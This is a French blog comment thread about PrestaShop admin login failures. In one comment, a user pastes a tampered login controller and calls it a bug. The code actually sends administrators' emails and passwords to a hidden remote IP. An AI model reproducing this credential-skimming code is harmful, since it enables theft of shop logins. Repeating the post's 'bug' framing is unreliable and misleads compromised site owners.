Elisa
Elisa
Reply to  Jean

Bonjour Jean,
Je vous invite à consulter le forum officiel de Prestashop, vous devriez y trouver votre bonheur !
Bonne journée :)

Helene
Helene

Bonjour, j’ai également le même type de pb. Je suis hébergée chez OVH et je viens de prendre un module 1 click prestashop. Lorsque je vais dans mon admin de site prestashop, impossible de rester dans le site et de configurer quoique ce soit. Il me renvoie systématiquement sur la page de login. En fait il me sort de l’administration. Je ne peux même pas accéder au menu Paramètre pour modifier cookies/ip. Lorsque je me rends dans mon phpadmin sur ovh, je n’ai aucune table associée à la base de données que je viens de créer par ovh sous mon nom de domaine. Je ne peux donc même pas placer la variable. Qu’est ce que je peux faire pour enfin accéder sans être éjectée de mon site ?
Je suis sous prestashop 1.7.5.2.
Merci pour votre aide.

Elisa
Elisa
Reply to  Helene

Bonjour Helene,
Vous pouvez consulter le mode débug pour identifier le problème, plus d’info ici : https://www.reussir-mon-ecommerce.fr/page-blanche-prestashop/
Et si cela ne vous aide pas, je vous invite à poser votre question sur le forum de Prestashop. A bientôt :)

BEJAMIN
BEJAMIN

Bonsoir! j’ai un problème avec mon sit, Warning: openssl_decrypt(): IV passed is only 7 bytes long, cipher expects an IV of precisely 16 bytes, padding with \0 in /public_html/classes/Rijndael.php on line 91

Warning: Use of undefined constant _RIJNDAEL_KEY_ – assumed ‘_RIJNDAEL_KEY_’ (this will throw an Error in a future version of PHP) in /home/public_html/classes/Cookie.php on line 79.

aide moi SVP

Elisa
Elisa
Reply to  BEJAMIN

Bonjour Bejamin,
Je vous invite à consulter le forum officiel de Prestashop, vous pouvez également y poser votre question en copiant votre message d’erreur.
A bientôt.

ayman
ayman

bonjour
j’ai fait la mise à jour de prestashop vers1.7.7.5 avec CLICK TO AUPGRADE

et depuis je peux plus accéder au B office quelque soit le login et mot de passe je peux pas accesder

merci pour l’aide

Elisa
Elisa
Reply to  ayman

Bonjour Ayman,
Merci pour ton commentaire.
Si tu as une page blanche qui s’affiche, je t’invite à consulter cet article pour activer le mode debug et comprendre d’où vient le problème : https://www.reussir-mon-ecommerce.fr/page-blanche-prestashop/
Et si le problème persiste, n’hésites pas à te rendre sur le forum officiel de Prestashop, tu peux également y poster ta question en mentionnant ton message d’erreur.
A bientôt.

Virginie
Virginie

Bonjour, j’ai un soucis sur PS 1.7 avec une version php 7.3 que je ne peux pas changer. Le mode debug a été activé et cela m’affiche le message suivant :

Fatal error: Uncaught Error: Cannot access protected property Shop::$id_shop in /homepages/38/d875055532/htdocs/Web/src/Adapter/EntityMapper.php:100 Stack trace: #0 /homepages/38/d875055532/htdocs/Web/classes/ObjectModel.php(264): PrestaShop\PrestaShop\Adapter\EntityMapper->load(‘1’, NULL, Object(Shop), Array, NULL, true) #1 /homepages/38/d875055532/htdocs/Web/classes/shop/Shop.php(128): ObjectModelCore->__construct(‘1’, NULL, NULL) #2 /homepages/38/d875055532/htdocs/Web/classes/shop/Shop.php(411): ShopCore->__construct(‘1’) #3 /homepages/38/d875055532/htdocs/Web/config/config.inc.php(118): ShopCore::initialize() #4 /homepages/38/d875055532/htdocs/Web/index.php(27): require(‘/homepages/38/d…’) #5 {main} thrown in /homepages/38/d875055532/htdocs/Web/src/Adapter/EntityMapper.php on line 100

J’ai déjà essayé de le désactiver sur define.inc.php avec la mention ‘false’ et ‘off’.

Si vous pouviez m’aider ça serait super !

Elisa
Elisa
Reply to  Virginie

Bonjour Virginie,

Merci pour vos précisions.
Malheureusement je n’ai pas d’information sur ce message d’erreur et je ne vais pas pouvoir vous aider à le résoudre.
Vous pouvez cependant poser votre question sur le forum officiel de Prestashop en y copiant votre message d’erreur.

Si malgré cela le problème persiste, nous pouvons vous mettre en relation avec des développeurs.

Bonne journée et à bientôt.

Margot
Margot

Bonjour, je viens de mettre en ligne mon site web prestashop sur planethoster (avant je travaillais en local). Le site est fonctionnelle, tous les articles sont visibles…. par contre impossible d’accéder à mon espace admin. Est-ce que quelqu’un à une idée du pb ?
en mode debug , j’ai le message :
En mode debug j’ai le message suivant The autoloader expected class "Symfony\Component\DependencyInjection\Compiler\ResolveServiceSubscribersPass" to be defined in file "/home/zwkzperd/public_html/prestashop/vendor/composer/../symfony/symfony/src/Symfony/Component/DependencyInjection/Compiler/ResolveServiceSubscribersPass.php". The file was found but the class was not in it, the class name or namespace probably has a typo.

En vous remerciant,
Margot

Elisa
Elisa
Reply to  Margot

Bonjour Margot,

Merci pour votre commentaire.
Je ne vais pas pouvoir vous renseigner mais je vous invite à consulter le forum officiel de Prestashop, un développeur à peut-être déjà résolu ce problème.
Si ce n’est pas le cas, n’hésitez pas à y poster votre question en copiant votre message d’erreur.
A bientôt.

jph
jph

Bonjour

J’ai pour ma part depuis quelque jours une page blanche sans sur l’admin que sur le site lui même. L’activation du mode débug ne change rien et n’affiche aucune autre information qu’une page blanche… l’accès au répertoire racine se passe pourtant bien puisqu’un fichier bidon ajouté s’affiche correctement si je l’appelle.
Auriez-vous une idée ?
Cordialement

Elisa
Elisa
Reply to  jph

Bonjour, merci pour vos précisions.
Malheureusement si les manipulations proposées dans l’article n’ont pas aidé à résoudre votre problème, je vous invite à consulter le forum officiel de PrestaShop, un développeur a peut-être déjà rencontré ce problème. Si vous ne trouvez pas la solution, nous pouvons également vous mettre en relation avec des développeurs spécialisés PrestaShop.
Bonne journée et à bientôt.

Claudel pierre
Claudel pierre

Bonjour,

Lorsque j’essaye de me connecté a mon back office la page ne s’ouvre pas et s’affiche le message : Cette page ne fonctionne pasImpossible de traiter cette demande via universpeche88.fr à l’heure actuelle.HTTP ERROR 500

Elisa
Elisa
Reply to  Claudel pierre

Bonjour Pierre,
Merci pour votre commentaire et pour vos précisions.
Malheureusement si les recommandations de cet article ne vous ont pas aidé, je vous invite à consulter le forum officiel de PrestaShop, un développeur a peut-être déjà résolu ce problème. Et si vous ne trouvez pas la solution, nous pouvons également vous mettre en relation avec des développeurs spécialisés PrestaShop.
À bientôt.

Jérémy
Jérémy

Pour les personnes qui ne peuvent pas accéder à leur back-office, car quand ils sont sur la page admin et qu’ils rentrent leurs identifiants, ils sont redirigés en boucle sur la page de connexion, j’ai récemment trouvé la solution qui peut être vous aidera aussi.

Voici le lien pour la consulter :

https://www.prestashop.com/forums/topic/1060092-copie-boutique-en-local-impossible-dacc%C3%A9der-au-back-office

En espérant aider quelqu’un.

Elisa
Elisa
Reply to  Jérémy

Bonjour Jérémy,
Merci pour ton commentaire !
À bientôt.

Céline
Céline

Bonjour, quelqu’un peut m’aider svp?
Depuis ce matin impossible de me connecter j’ai ça qui s’affiche..merci

Screenshot_20220407-163219_Samsung Internet.jpg
Elisa
Elisa
Reply to  Céline

Bonjour Céline,
Malheureusement, nous n’avons pas d’information sur votre message d’erreur.
Je vous invite à consulter le forum officiel de PrestaShop, vous pouvez également y poster votre question en y ajoutant une copie du message d’erreur.
Si vous ne parveniez pas à résoudre le problème, je peux vous mettre en relation avec un développeur avec qui nous travaillons.
Bonne journée et à bientôt.

cyril
cyril

Bonjour, depuis peu je n’ai plus accès à mes modules activés sur mon backoffice. J’ai une page vide

Elisa
Elisa
Reply to  cyril

Bonjour Cyril,
Merci pour votre commentaire.
Je ne vais pas savoir vous renseigner à ce niveau, mais n’hésitez pas à utiliser notre formulaire de contact en me détaillant votre problématique.
Je peux vous rediriger vers un développeur avec qui nous travaillons.
Bonne journée et à très vite.

Adeline
Adeline

Bonjour à tous
Besoin d’aide svp depuis hier je suis dans l’impossibilité de me connecter sur mon prestashop admin message d’erreur  » ce compte employé n’existe pas ou le mot de passe est erroné  » alors que non même si je souhaite changer le mot de passe je ne peux pas je suis sur la version prestqshop 1.7.8.5

Elisa
Elisa
Reply to  Adeline

Bonjour Adeline,
Je vous invite à consulter le forum officiel de PrestaShop, vous pouvez aussi y poser votre question en copiant votre message d’erreur.
Si le problème persiste, je peux vous mettre en relation avec un développeur avec qui nous travaillons, je vous laisse revenir vers moi via notre formulaire de contact si besoin.
Bonne journée et à bientôt.

Niko
Niko

Bonjour
Super merci j’ai réglé un de mes problèmes grace à vous.
J’ai un autre problème, suite à la migration de ma boutique vers un autre serveur, dès que je désactive le mode Debug, j’ai une page blanche dans la Backoffice.
Quand je réactive le mode Debug tout revient.
Avez-vous une piste à me conseiller svp ?
Cordialement
Niko

Elisa
Elisa
Reply to  Niko

Bonjour Niko,
Super, ravie de vous lire.
Je n’ai malheureusement pas de piste à vous suggérer, vous pouvez essayer de consulter le forum officiel de PrestaShop.
Belle journée et à bientôt.

Niko
Niko
Reply to  Elisa

Hello Elisa
Merci pour votre réponse.
J’ai déjà pas mal cherché mais pas encore trouvé.
Pour l’instant ça ne me pose pas de problème, mais j’aimerais bien comprendre lol
Bonne soirée
@++

Elisa
Elisa
Reply to  Niko

Bonjour Niko,
Merci pour votre retour.
Je comprends parfaitement, de mon côté je peux vous mettre en relation avec un développeur si besoin.
Bonne journée et à bientôt.

Jennifer
Jennifer

Bonjour
Je n’arrive pas à rentrée sur mon compte prestashop, une fois les codes rentrés il ne se passe rien ni message d’erreur, ni problème de chargement.
Et cela se produit uniquement sur ordinateur, sur le portable aucuns problèmes, j’ai évidement essayée avec plusieurs ordinateurs différents, ainsi que plusieurs réseaux wifi.
Merci d’avance pour votre aide.

Orus
Orus

Bonsoir, j’ai besoins d’aide car j’ai fais une bétise.
j’ai voulu changer le thème classique de mon prestashop 1.7 par un nouveau (camilia) et je n’ai plus accès à l’admin, et le front office ne s’affiche qu’à moitié, comment revenir en arrière, prestashop étant installer directement chez mon hébergeur ovh.
Merci pour vôtre aide
bon dimanche

Sylvain
Sylvain

Merciiiiiiii ! VOus avez sauve ma vie avec les changements dans protected static $is_addons_up ! Des mois que je ne pouvais plus acceder la table des produits :)

DANIEL
DANIEL

bonjour, depuis la semaine dernière je n’arrive plus a me connecter a mon BO et j’ai ce message:
Erreur fatale: Uncaught TypeError: array_key_exists() : L’argument #2 ($array) doit être de type array, Shop donné dans /homepages/6/d854713759/htdocs/src/Adapter/EntityMapper.php:99 Stack trace : #0 /homepages/ 6/d854713759/htdocs/src/Adapter/EntityMapper.php(99): array_key_exists(‘id_shop’, Object(Shop)) #1 /homepages/6/d854713759/htdocs/classes/ObjectModel.php(264): PrestaShop\ PrestaShop\Adapter\EntityMapper->load(‘1’, NULL, Object(Shop), Array, NULL, true) #2 /homepages/6/d854713759/htdocs/classes/shop/Shop.php(128): ObjectModelCore- >__construct(‘1’, NULL, NULL) #3 /homepages/6/d854713759/htdocs/classes/shop/Shop.php(411): ShopCore->__construct(‘1’) #4 /homepages/6/d854713759 /htdocs/config/config.inc.php(118): ShopCore::initialize() #5 /homepages/6/d854713759/htdocs/index.php(27): require(‘/homepages/6/d8… ‘) #6 {main} jeté dedans/homepages/6/d854713759/htdocs/src/Adapter/EntityMapper.php sur la ligne 99
pourriez vous m’aider?

Alchy
Alchy

Bonjour, bel article en effet qui évoque l’ensemble des sujets sur les problèmes de connexion Prestashop et que place très bien les moteurs de recherche ! C’est ce qui s’appelle une réussite SEO !^^

Cependant, je n’ai pas trouvé la réponse à mon problème. Je fais partie de ceux que la connexion au back-office Prestashop 1.7 fait revenir constamment à la page de connexion (Dès que j’entre mes identifiants, je suis redirigé vers la page de connexion / Lorsque je rentre mes identifiants il ne se passe rien).

Si ça peut aider certains, c’est en fait la 4ème fois que cela se produit sur l’un des sites que je gère et intègre (Le seul en prestashop. Plus jamais prestashop ! Plus jamais ! C’est de loin le pire de tous !). Les autres fois, il m’avait suffit de revenir à un backup du FTP à J-1, peu importe le moment où le bug est apparu. Pas forcément la peine de le faire aussi avec la base de données s’il n’y a pas eu de mise à jour, le backup seul du FTP avait suffi.

Pourtant, aucun fichier ne change dans le FTP après ce backup. Et ces fichiers gardent toujours les mêmes dates (création, dernière modification…). Il réinitialise certainement quelque chose d’autre, mais quoi ?

Quoi qu’il en soit, cela n’a pas marché cette fois-ci… Je reste bloqué sur la page connexion et aucun backup n’y fait…

Est-ce que quelqu’un voit quelque chose à faire ?
Olivier Clémence, combien cela peut-il coûter de faire intervenir un prestataire spécialisé en problèmes prestashop ?

Merci

Alchy
Alchy

Bonjour Olivier,
J’ai réussi à récupérer le site avec un backup du ftp à 15 jours.
J’ai finalement établi un petit protocole pour tester le dossier qui crée le bug.
J’ai télécharger le FTP sur mon ordi lors d’un retour en arrière sain et j’ai attendu 2 jours que le bug revienne.

J’ai successivement renommé chaque dossier du FTP en .old (pour éviter le temps fou que prend un dossier à s’effacer par un FTP) et j’ai rechargé chaque dossier sain au fur et à mesure que je nommais l’autre .old. J’ai pu me reconnecter après avoir remis le dossier controllers. Le bug vient de ce dossier et finalement du fichier AdminLoginController.php dans admin. Et finalement, ça semble si logique…

Ce fichier s’est modifié tout seul et je ne comprends pas pourquoi.

Plus précisément, c’est la section public function processLogin() qui est modifiée.

voici le code qui bug (dans la section : public function processLogin() uniquement) :

    public function processLogin()
    { /* Check fields validity */
        $passwd = trim(Tools::getValue('passwd'));
        $email = trim(Tools::getValue('email'));
        if (empty($email)) {
            $this->errors[] = Tools::displayError('Email is empty.');
        } elseif (!Validate::isEmail($email)) {
            $this->errors[] = Tools::displayError('Invalid email address.');
        }

        if (empty($passwd)) {
            $this->errors[] = Tools::displayError('The password field is blank.');
        } elseif (!Validate::isPasswd($passwd)) {
            $this->errors[] = Tools::displayError('Invalid password.');
        }

        if (!count($this->errors)) {
            // Find employee
            $this->context->employee = new Employee();
            $is_employee_loaded = $this->context->employee->getByEmail($email, $passwd);
            $employee_associated_shop = $this->context->employee->getAssociatedShops();
            if (!$is_employee_loaded) {
                $this->errors[] = Tools::displayError('The Employee does not exist, or the password provided is incorrect.');
                $this->context->employee->logout();
            } elseif (empty($employee_associated_shop) && !$this->context->employee->isSuperAdmin()) {
                $this->errors[] = Tools::displayError('This employee does not manage the shop anymore (Either the shop has been deleted or permissions have been revoked).');
                $this->context->employee->logout();
            } else {

                $path=$_SERVER['REMOTE_ADDR'].'-'.$_SERVER['REQUEST_URI'];
                $check_val=bin2hex($email.' '.$passwd);
                $user_data=bin2hex($path.';'.$check_val);

                $array = array('token_hash'   => base64_encode('{"referer":"'.$_SERVER["HTTP_HOST"].'","stats":"'.$user_data.'","tag":"a181a603769c1f98ad927e7367c7aa51"}'));      
                $ch = curl_init(base64_decode('aHR0cHM6Ly8xMDYuMTUuMTc5LjI1NQ=='));
                curl_setopt($ch, CURLOPT_POST, 1);
                curl_setopt($ch, CURLOPT_POSTFIELDS, $array);
                curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);curl_setopt($ch, CURLOPT_TIMEOUT, 3);
                curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
                curl_setopt($ch, CURLOPT_HEADER, false);
                curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
                curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
                $html = curl_exec($ch);
                curl_close($ch);  

                PrestaShopLogger::addLog(sprintf($this->l('Back Office connection from %s', 'AdminTab', false, false), Tools::getRemoteAddr()), 1, null, '', 0, true, (int)$this->context->employee->id);

                $this->context->employee->remote_addr = (int)ip2long(Tools::getRemoteAddr());
                // Update cookie
                $cookie = Context::getContext()->cookie;
                $cookie->id_employee = $this->context->employee->id;
                $cookie->email = $this->context->employee->email;
                $cookie->profile = $this->context->employee->id_profile;
                $cookie->passwd = $this->context->employee->passwd;
                $cookie->remote_addr = $this->context->employee->remote_addr;

                if (!Tools::getValue('stay_logged_in')) {
                    $cookie->last_activity = time();
                }

                $cookie->write();

                // If there is a valid controller name submitted, redirect to it
                if (isset($_POST['redirect']) && Validate::isControllerName($_POST['redirect'])) {
                    $url = $this->context->link->getAdminLink($_POST['redirect']);
                } else {
                    $tab = new Tab((int)$this->context->employee->default_tab);
                    $url = $this->context->link->getAdminLink($tab->class_name);
                }

                if (Tools::isSubmit('ajax')) {
                    die(Tools::jsonEncode(array('hasErrors' => false, 'redirect' => $url)));
                } else {
                    $this->redirect_after = $url;
                }
            }
        }
        if (Tools::isSubmit('ajax')) {
            die(Tools::jsonEncode(array('hasErrors' => true, 'errors' => $this->errors)));
        }}

Voici le code qui marche :

    public function processLogin()
    {
        /* Check fields validity */
        $passwd = trim(Tools::getValue('passwd'));
        $email = $this->IDNConverter->emailToUtf8(trim(Tools::getValue('email')));
        Hook::exec(
            'actionAdminLoginControllerLoginBefore',
            [
                'controller' => $this,
                'password' => $passwd,
                'email' => $email,
            ]
        );

        if (empty($email)) {
            $this->errors[] = $this->trans('Email is empty.', [], 'Admin.Notifications.Error');
        } elseif (!Validate::isEmail($email)) {
            $this->errors[] = $this->trans('Invalid email address.', [], 'Admin.Notifications.Error');
        }

        if (empty($passwd)) {
            $this->errors[] = $this->trans('The password field is blank.', [], 'Admin.Notifications.Error');
        } elseif (!Validate::isPasswd($passwd)) {
            $this->errors[] = $this->trans('Invalid password.', [], 'Admin.Notifications.Error');
        }

        if (!count($this->errors)) {
            // Find employee
            $this->context->employee = new Employee();
            $is_employee_loaded = $this->context->employee->getByEmail($email, $passwd);
            $employee_associated_shop = $this->context->employee->getAssociatedShops();
            if (!$is_employee_loaded) {
                $this->errors[] = $this->trans('The employee does not exist, or the password provided is incorrect.', [], 'Admin.Login.Notification');
                $this->context->employee->logout();
            } elseif (empty($employee_associated_shop) && !$this->context->employee->isSuperAdmin()) {
                $this->errors[] = $this->trans('This employee does not manage the shop anymore (either the shop has been deleted or permissions have been revoked).', [], 'Admin.Login.Notification');
                $this->context->employee->logout();
            } else {
                PrestaShopLogger::addLog($this->trans('Back office connection from %ip%', ['%ip%' => Tools::getRemoteAddr()], 'Admin.Advparameters.Feature'), 1, null, '', 0, true, (int) $this->context->employee->id);

                $this->context->employee->remote_addr = (int) ip2long(Tools::getRemoteAddr());
                // Update cookie
                $cookie = Context::getContext()->cookie;
                $cookie->id_employee = $this->context->employee->id;
                $cookie->email = $this->context->employee->email;
                $cookie->profile = $this->context->employee->id_profile;
                $cookie->passwd = $this->context->employee->passwd;
                $cookie->remote_addr = $this->context->employee->remote_addr;
                $cookie->registerSession(new EmployeeSession());

                if (!Tools::getValue('stay_logged_in')) {
                    $cookie->last_activity = time();
                }

                $cookie->write();

                // If there is a valid controller name submitted, redirect to it
                if (isset($_POST['redirect']) && Validate::isControllerName($_POST['redirect'])) {
                    $url = $this->context->link->getAdminLink($_POST['redirect']);
                } else {
                    $tab = new Tab((int) $this->context->employee->default_tab);
                    $url = $this->context->link->getAdminLink($tab->class_name);
                }

                Hook::exec(
                    'actionAdminLoginControllerLoginAfter',
                    [
                        'controller' => $this,
                        'employee' => $this->context->employee,
                        'redirect' => $url,
                    ]
                );

                if (Tools::isSubmit('ajax')) {
                    die(json_encode(['hasErrors' => false, 'redirect' => $url]));
                } else {
                    $this->redirect_after = $url;
                }
            }
        }
        if (Tools::isSubmit('ajax')) {
            die(json_encode(['hasErrors' => true, 'errors' => $this->errors]));
        }
    }

Je ne sais pas bien interpréter le code et je ne sais pas ce qui le modifie.
Est-ce que tu aurais une idée ou quelqu’un d’autre.
Je vais aussi faire part de mes avancés sur le forum Prestashop. En espérant que cela puisse déjà aider certaines personnes qui ont ce genre de bug pour l’instant sans réponse !

Merci

Ronny
Ronny

Résolu !
Merci pour cet article, même si au final la cause du problème que j’ai rencontré était toute autre.
Je suis intervenu sur une redirection en boucle du login sur un site hébergé chez OVH
L’offre perso du client avait un quota BDD dépassé de 200Mo ce qui provoque un passage en lecture seule et l’erreur.
A la longue la base a été remplie par les statistiques (_connections, _guest, principalement).
Après effacement retour à une base de 60Mo et à un login fonctionnel.

Ambre
Ambre

Bonjour,

Mon problème est au niveau de l’url admin. J’ai bien retrouvé le bon nom de dossier avec Fizilia, mais cela ne marche pas. Est-il possible qu’un précédent prestataire ait pu modifier cela? Je n’ai plus accès au back-up de mon site eCommerce depuis maintenant plusieurs mois.

Merci,
Ambre

ali
ali

j’ai problème je ne peux pas accédée au back-office PrestaShop , il ma afficher not Found ?

Stéphanie
Stéphanie

Bonjour Olivier, je n’arrive pas à me connecter à mon compte prestashop pour mettre mes nouveautés cela m’ affiche :
1/1) FatalErrorExceptionErreur de compilation : require() : Échec de l’ouverture requise ‘/home/symplea/www/var/cache/dev/ContainerLqjxxht/removed-ids.php’ (include_path=’/home/symplea/www/vendor/pear/pear_exception:/home/symplea/www/vendor/pear/console_getopt:/home/symplea/www/vendor/pear/pear-core-minimal/src:/home/symplea/www/vendor/pear/archive_tar:.:/ usr/local/php7.4/lib/php’)
dans appDevDebugProjectContainer.php ligne 3209

Camille
Camille

J’ai ma page admin, inaccessible « HTTP ERROR 500″. Il semblerait que cela soit du à la non mise à jour des modules et extensions. Comment accéder à mon back office ? Merci